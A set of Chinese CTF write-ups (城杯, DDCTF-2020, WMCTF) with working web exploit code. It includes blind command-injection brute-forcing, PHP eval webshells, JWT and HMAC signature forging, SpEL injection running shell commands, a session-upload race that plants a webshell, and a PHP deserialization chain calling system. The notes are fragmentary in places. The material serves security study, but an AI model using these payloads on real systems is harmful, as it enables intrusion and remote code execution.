balance|i:2233;items|a:1:{i:0;s:18:"<?php phpinfo();?>";}note|s:0:"";
- 导入
sess_xzas
,进行反序列化,将sess_xz
中内容导入到node_cmd.php
GET /babycode/ HTTP/1.1 Host: 192.168.21.136 Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4255.0 Safari/537.36 Edg/87.0.634.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=xzas
之后就可以访问node_cmd.php
balance|i:2233;items|a:1:{i:0;s:18:"<?php phpinfo();?>";}note|s:0:"";
learn from
MISC
crymisc
参考连接:




























































That is what i told her↑↑↑
- 爆破代码
- result
城杯
web
easycon
扫到 index.php
,根据提示 上antsword
下载bbbbbbbb.txt
,再转成flag.gif
cat bbbbbbbbb.txt |base64 -d >flag.gif
BlackCat
根据提示查看mp3
view-source:http://183.129.189.60:10022/Hei_Mao_Jing_Chang.mp3
在最后几行,存在代码
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('Ë£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡'); } $clandestine = getenv("clandestine");//获得环境量 if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);//hmac-sha256 加密 // 注意 这里的 $clandestine 是encode($White-cat-monitor,$clandestine) // $clandestine 可以为 空 var_dump(hash_hmac('sha256',array(),'fe1w0')); $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);//同样对One-ear 加密 // nc ;echo '<?php phpinfo();?>' > fe1w0.php if($hh !== $_POST['Black-Cat-Sheriff']){ //encode(One-ear) === encode(Black-Cat-Sheriff) die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£'); } echo exec("nc".$_POST['One-ear']);
- payload from
import requests import hmac url = "http://183.129.189.60:10022/" data1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=" str = "" for t in range(1, 400): for i in data1: one = "1;if [ $(cat flag*|base64|cut -c %i) = \"%s\" ];then sleep 6;fi" % (t, i) key = b'' black = hmac.new(key, one.encode('utf-8'), 'sha256').hexdigest() data2 = { "Black-Cat-Sheriff": black, "One-ear": one, "White-cat-monitor[]": "1" } try: res1 = requests.post(url, data=data2, timeout=4) except: str = str + i print(str) break # print(data1)
easyphp
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file);//unlink() 函数删除文件 } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; //不区分大小写的 die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { // 不能是字母 echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); // 再删一遍 } } } file_put_contents($filename, $content . "\nHello, world"); ?>
http://183.129.189.60:10023/sandbox/t1cje6n4eo2p7f7h90e54m7ng3/?filename=index.php&content=<?php eval($_GET['xz']) ?> http://183.129.189.60:10023/sandbox/t1cje6n4eo2p7f7h90e54m7ng3/index.php?xz=system('cat /flag'); GWHT{easyApache} Hello, world
easyphp2
Coo kie:pass=GWHT
绕过第一层
- 读取源代码
使用file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "
- 命令执行
http://183.129.189.60:10025/GWHT.php?count=1' | whoami ||'
?file=GWHT.php&count=1' | find / -name flag* > fe1w0||' /GWHT/system/of/a/down/flag.txt
- 提高权限
www-data
没有读flag.txt
权限
cat /GWHT/*
得到GWHT
加密后密码, 在https://www.somd5.com/
查询得到GWHTCTF
最后,登录GWHT
账号,读取flag.txt
。
www-data@18c88ee78e67:/var/www/html$ su GWHT su GWHT Password: GWHTCTF cat /GWHT/system/of/a/down/flag.txt GWHT{Y0U_H4VE_A_BETTER_SK1LL}
DDCTF-2020
web
Web签到题
PS C:\WINDOWS\System32> curl.exe http://117.51.136.197/hint/1.txt Interface documentation - login interface [-][Safet Reminder]The Private key cannot use request parameter Request Method | POST URL | http://117.51.136.197/admin/login Param | username str | pwd str Response token str | auth(Certification information) - auth interface Request Method | POST URL | http://117.51.136.197/admin/auth Param | username str | pwd str | token str Response url str | client download link +------------------+ +----------------------+ +--------------------+ | | | | | | | +----------------> +----------------> | | Client(Linux) | | Auth/Command | | minion | | <----------------+ +<---------------+ | | | | | | | +------------------+ +----------------------+ +--------------------+
PS C:\WINDOWS\System32> curl.exe -X POST http://117.51.136.197/admin/login -d 'username=1&pwd=1' {"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMyMTMzOH0.n6AKHW8cOrmKyFZhIIeV66ZcUHx2b-D-lxT0mEheWUE"}
{ "typ": "JWT", "alg": "HS256" } { "userName": "1", "pwd": "1", "userRole": "GUEST", "exp": 159xxxxxxx }
这时只要细心观察或用jwtcrack
爆破,就会发现Secret
为pwd
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIxIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTMyMjA4OX0.TgqnVS7NyDbmX4M38Ow-K8ilgFYHx5-jzbOxUPYxoyw Secret is "1"
那么我们就根据jwt
格式编写admin
的jwt
就行
import jwt a = { "userName": "admin", "pwd": "fe1w0", "userRole": "ADMIN", "exp": 1599322683 } jj=jwt.encode(a,'fe1w0', algorithm='HS256') print(jj) #eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiZmUxdzAiLCJ1c2VyUm9sZSI6IkFETUlOIiwiZXhwIjoxNTk5MzIyNjgzfQ.toeN4J1eAkPmZFnYXsL4qNqHhPF31YnKPv6VjZV7n_M
获得下载链接http://117.51.136.197/B5Itb8dFDaSFWZZo/client
PS C:\WINDOWS\System32> curl.exe -X POST http://117.51.136.197/admin/auth -d 'username=admin&pwd=fe1w0&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiZmUxdzAiLCJ1c2VyUm9sZSI6IkFETUlOIiwiZXhwIjoxNTk5MzIyNjgzfQ.toeN4J1eAkPmZFnYXsL4qNqHhPF31YnKPv6VjZV7n_M' {"code":0,"message":"success","data":"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"}
- client
fe1w0@fe1w0:~$ ./client 2020/09/05 00:43:57 ____ _ ____ _ ____ _____ _____ ____ ____ ____ ____ / _ \/ \/ _ \/ \/ _\/__ __\/ / /_ \/ _ \/_ \/ _ \ | | \|| || | \|| || / / \ | __\_____ / /| / \| / /| / \| | |_/|| || |_/|| || \__ | | | | \____\/ /_| \_/|/ /_| \_/| \____/\_/\____/\_/\____/ \_/ \_/ \____/\____/\____/\____/ 2020/09/05 00:43:57 +---------------------------------------------------+ |Flag Path := /home/dc2-user/flag/flag.txt | |签名格式 := command|time_stamp | +---------------------------------------------------+ 2020/09/05 00:43:57 +------------------+ +----------------------+ +--------------------+ | | | | | | | +----------------> +----------------> | | Client | | Auth/Command | | minion | | <----------------+ +<---------------+ | | | | | | | +------------------+ +----------------------+ +--------------------+ 2020/09/05 00:43:57 [*]Start ping master... 2020/09/05 00:43:58 [-]http://117.51.136.197/server/health connect succuess 2020/09/05 00:43:58 [*]Start send command to minions... 2020/09/05 00:43:58 [+]get sign:F75PJ/5iqAUAek5+0lXL6WJgslyD0Wn5X5l4gGCICwI=, command:'DDCTF', time_stamp:1599237838 2020/09/05 00:43:58 [+]send command url and response:{"code":0,"message":"success","data":"DDCTF"}
wireshark抓包
GET /server/health HTTP/1.1 Host: 117.51.136.197 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip HTTP/1.1 200 Server: nginx/1.14.0 (Ubuntu) Date: Sat, 05 Sep 2020 11:48:37 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive 2a {"code":0,"message":"success","data":null} 0 POST /server/command HTTP/1.1 Host: 117.51.136.197 User-Agent: Go-http-client/1.1 Content-Length: 103 Content-Type: application/json Accept-Encoding: gzip {"signature":"vwrEgR0HccLWvCB+FsgFevwkazZ5JmMECH8cDaBicuA=","command":"'DDCTF'","timestamp":1599306517}HTTP/1.1 200 Server: nginx/1.14.0 (Ubuntu) Date: Sat, 05 Sep 2020 11:48:37 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive 2d {"code":0,"message":"success","data":"DDCTF"} 0
signature 伪造 from saltstack_hmac
- paylaod
比赛后问别的师傅,是 SPEL_SSTI 学习到了 ssti
import hmac import hashlib import base64 import time import requests import json key = b'DDCTFWithYou' t = str(int(time.time())) #time_stamp # read /etc/passwd #command = "{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}" # read /home/dc2-user/flag/flag.txt command = "{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(116))).getInputStream())}" command = "{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(102)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(116))).getInputStream())}" message = '''%s|%s''' %(command,t) h = hmac.new(key, bytes(message, encoding = "utf8"), hashlib.sha256).digest() my_sign = base64.standard_b64encode(h) my_sign = str(my_sign, encoding = "utf-8") data = '''{"signature":"%s","command":"%s","timestamp":%s}''' %(my_sign,command,t) #print("data: "+data+'\n\r\n\r') res = requests.post('http://117.51.136.197/server/command',data=data) print(res.text)
Overwrite Me [暂时未复现]
MISC
一起拼图吗
PS 拼图即可
DDCTF{484e61cd1483c34d08e4d76f9022d03b}
WMCTF
web
web_checkin
我一直以为要伪协议来绕过exit,见P神谈一谈php://filter的妙用
<?php //PHP 7.0.33 Apache/2.4.25 error_reporting(0); $sandbox = 'D:/phpstudy_pro/WWW/test/' . md5($_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); highlight_file(__FILE__); if(isset($_GET['content'])) { $content = $_GET['content']; if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content)) die('hacker'); if(file_exists($content)) require_once($content); file_put_contents($content,'<?php exit();'.$content); }
但这题直接读就行。
Make PHP Great Again
参考
利用session.upload_progress进行文件包含和反序列化渗透
此题
- apache2配置信息
http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/etc/apache2/apache2.conf
/proc/self/maps
读取内存映射的相关信息
但php.ini还是读不了,但可以根据2.0得到提示为/tmp
文件夹下
默认文件夹,如下:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
- payload
import io import requests import threading sessid = 'XZASFE1W0' data = {"cmd":'system("cat flag.php");'} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=/tmp/sess_'+sessid,data=data) if 'test.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
- result
Make PHP Great Again 2.0
与1.0 的区别:
1.0:
\#!/bin/bash if [[ -f /flag.sh ]]; then source /flag.sh fi apache2-foreground
- require_once 和 include_once 原理
- 尝试解析文件的绝对路径, 如果能解析成功, 则检查EG(included_files), 存在则返回, 不存在继续
- 打开文件, 得到文件的打开路径(opened path)
- 拿opened path去EG(included_files)查找, 是否存在, 如果存在则返回, 不存在继续
- 编译文件(compile_file)
payload
/x/../proc/self/cwd/flag
比赛和复现过程中遇到的好文章:
webweb
https://fatfreeframework.com/3.7/getting-started
这题是真滴累
index.php
<?php // Kickstart the framework $f3=require('lib/base.php'); $f3->set('DEBUG',1); if ((float)PCRE_VERSION<8.0) trigger_error('PCRE version is out of date'); // Load configuration $f3->config('config.ini'); // set a route for get method $f3->route('GET /', function($f3) { echo "just get me a,don't do anything else"; } ); unserialize($_GET['a']); $f3->run();
index.php
的执行顺序,如下:
- 框架初始化和配置文件导入
- 设置一个get请求方式的路由器
- 反序列化 参数
a
- f3执行
ws.php
从index.php
的执行顺序来看,代码必定会加载ws.php
来进行网络通信,在WS
和Agent
类中都有回调函数,其中Agent
类中的__destruct()
方法最好调用
function __destruct() { if (isset($this->server->events['disconnect']) && is_callable($func=$this->server->events['disconnect'])) $func($this); } function __construct($server,$socket,$verb,$uri,array $hdrs) { $this->server=$server; $this->id=stream_socket_get_name($socket,TRUE); $this->socket=$socket; $this->verb=$verb; $this->uri=$uri; $this->headers=$hdrs; if (isset($server->events['connect']) && is_callable($func=$server->events['connect'])){ $func($this); } }
按道理来说
__construct
中的回调函数应该也可,但本地测试时,一直失败
测试脚本
<?php namespace cli; class WS{ public function __construct() { $this=$this; $this->agents = new Agent($this); } } namespace cli; class Agent { public function __construct($ws) { $this->server=$ws; $this->events = array("disconnect"=>"var_dump"); } } echo (serialize(new WS())); /* O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:1;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}} */
但此处得到的payload无效,var_dump并不会执行
php 对象引用
<?php class A{ public $AA; function __construct(){ $this->AA=new B($this); } } class B{ public $BB; function __construct($BB) { $this->BB=$BB; } } $a = new A(); echo serialize($a)."\n"; /* O:1:"A":1:{s:2:"AA";O:1:"B":1:{s:2:"BB";r:1;}} */
其中的r
表示对象引用,而后的数字r :< number >
,可以理解为序列化的层数
O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:1;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}} # r:1转为r:2 O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}}
但不知为什么r:1
转为r:2
, 即$this->server=$this
payload就可以用
<?php namespace cli; class WS{ public function __construct() { $this->agents = new Agent($this); } } namespace cli; class Agent { public function __construct() { $this->server=$this; $this->events = array("disconnect"=>"var_dump"); } } echo (serialize(new WS())); # O:6:"cli\WS":1:{s:6:"agents";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:1:{s:10:"disconnect";s:8:"var_dump";}}}
下一步: 使$this->server=$this;
可控
利用db\sql\mapper.php
中的__call()
函数来 getshell
原本想试试
db\sql.php
虽然__call()
也可以控制,方法跟下面差不多,就是数组那个要写成[对象|类,函数名]
的形式
function __call($func,$args) { return call_user_func_array( (array_key_exists($func,$this->props)? //检查数组里是否有指定的键名或索引 $this->props[$func]: $this->$func),$args ); } function find($filter=NULL,array $options=NULL,$ttl=0) { if (!$options) $options=[]; $options+=[ 'group'=>NULL, 'order'=>NULL, 'limit'=>0, 'offset'=>0 ]; $adhoc=''; foreach ($this->adhoc as $key=>$field) $adhoc.=','.$field['expr'].' AS '.$this->db->quotekey($key); return $this->select( ($options['group'] && !preg_match('/mysql|sqlite/',$this->engine)? $options['group']: implode(',',array_map([$this->db,'quotekey'], array_keys($this->fields)))).$adhoc,$filter,$options,$ttl); }
此外,将$this->db = $this
,
上面代码可以简化为
<?php class A{ public $AA; public $num = 1; public $cmd = "whoami"; public $props; function __construct(){ $this->AA=$this; $this->props = array("kali"=>"system"); } function __call($func,$args) { return call_user_func_array( (array_key_exists($func,$this->props)? //检查数组里是否有指定的键名或索引 $this->props[$func]: $this->$func),$args ); } function find(){ $this->AA->kali($this->cmd); } } $aa = new A(); $aa->find(); # 注意传参就传了一个
故此,payload:
<?php namespace DB\SQL; class Mapper { public $props; public function __construct() { $this->adhoc=['ls'=>["xz"=>"fe10"]]; $this->fields=[]; $this->props = ['quotekey' => "system"]; $this->db = $this; } } namespace cli; use DB\SQL\Mapper; class Agent { public function __construct() { $this->server = $this; $this->events = ["disconnect" => new Mapper()]; } } namespace cli; class WS{ public function __construct() { $this->test = new Agent(); } } echo (serialize(new WS())); #O:6:"cli\WS":1:{s:4:"test";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:1:{s:10:"disconnect";O:13:"DB\SQL\Mapper":4:{s:5:"props";a:1:{s:8:"quotekey";s:6:"system";}s:5:"adhoc";a:1:{s:2:"ls";a:1:{s:2:"xz";s:5:"fe1w0";}}s:6:"fields";a:0:{}s:2:"db";r:5;}}}}
但这样会导致isset($this->server->events['disconnect']) && is_callable($func=$this->server->events['disconnect'])
为false
需要$this->events = ["disconnect" => new Mapper()];
改为*$**this*->events = ["disconnect" => [new Mapper()],'find'];
为什么要写find
以及在后面
写的原因
if(is_callable([new A(),"find"])){ echo "true"; } if(is_callable(["find",new A()])){ echo "true"; } if(is_callable([new A()])){ echo "true"; } if(is_callable(new A())){ echo "true"; } #或 echo serialize([new A(),"find"])."\n"; echo serialize(["find",new A()])."\n"; echo serialize([new A()])."\n"; echo serialize(new A())."\n"; /* a:2:{i:0;O:1:"A":4:{s:2:"AA";r:2;s:3:"num";i:1;s:3:"cmd";s:6:"whoami";s:5:"props";a:1:{s:4:"kali";s:6:"system";}}i:1;s:4:"find";} a:2:{i:0;s:4:"find";i:1;O:1:"A":4:{s:2:"AA";r:3;s:3:"num";i:1;s:3:"cmd";s:6:"whoami";s:5:"props";a:1:{s:4:"kali";s:6:"system";}}} a:1:{i:0;O:1:"A":4:{s:2:"AA";r:2;s:3:"num";i:1;s:3:"cmd";s:6:"whoami";s:5:"props";a:1:{s:4:"kali";s:6:"system";}}} O:1:"A":4:{s:2:"AA";r:1;s:3:"num";i:1;s:3:"cmd";s:6:"whoami";s:5:"props";a:1:{s:4:"kali";s:6:"system";}} */
这四个if中,只有第一个是正确的,感觉这个跟执行顺序有关
以正确的payload为例
O:6:"cli\WS":1:{s:4:"test";O:9:"cli\Agent":2:{s:6:"server";r:2;s:6:"events";a:2:{s:10:"disconnect";a:1:{i:0;O:13:"DB\SQL\Mapper":4:{s:5:"props";a:1:{s:8:"quotekey";s:6:"system";}s:5:"adhoc";a:1:{s:2:"ls";a:1:{s:2:"xz";s:5:"fe1w0";}}s:6:"fields";a:0:{}s:2:"db";r:6;}}i:0;s:4:"find";}}}
db
的r:<number>
为6,同时db
还指向自己一次,即多加了一层,}}
回退两次后,到达的层为\DB\Cursor
,而在\DB\Cursor
的方法中只有find
函数符合要求
\DB\Cursor
原因class Mapper *extends* \DB\Cursor
/** * Return records (array of mapper objects) that match criteria * @return array * @param $filter string|array * @param $options array * @param $ttl int **/ abstract function find($filter=NULL,array $options=NULL,$ttl=0);
- 正确的payload
<?php namespace DB\SQL; class Mapper { public $props; public function __construct() { $this->adhoc=['ls'=>["xz"=>"fe1w0"]]; $this->fields=[]; $this->props = ['quotekey' => "system"]; $this->db = $this; } } namespace cli; use DB\SQL\Mapper; class Agent { public function __construct() { $this->server = $this; $this->events = ["disconnect" => [new Mapper(),"find"]]; } } namespace cli; class WS{ public function __construct() { $this->test = new Agent(); } } echo (serialize(new WS()));
web_checkin2
这题好像坏了,一直打不开
思路:
利用session.upload_progress进行文件包含和反序列化渗透
但后面出题方放弃修这道题,无法正常访问。
其他
web
noclass
很有意思一道题,靠
弄的
payload
<?php $flag = "flag"; $f = new stdClass(); $f->c = "haha"; $f->d = &$f->c; echo serialize($f); $b = $f; $b->c = $flag; echo serialize($b); foreach($b as $key => $value) { if($key==='c') { continue; } echo $value; }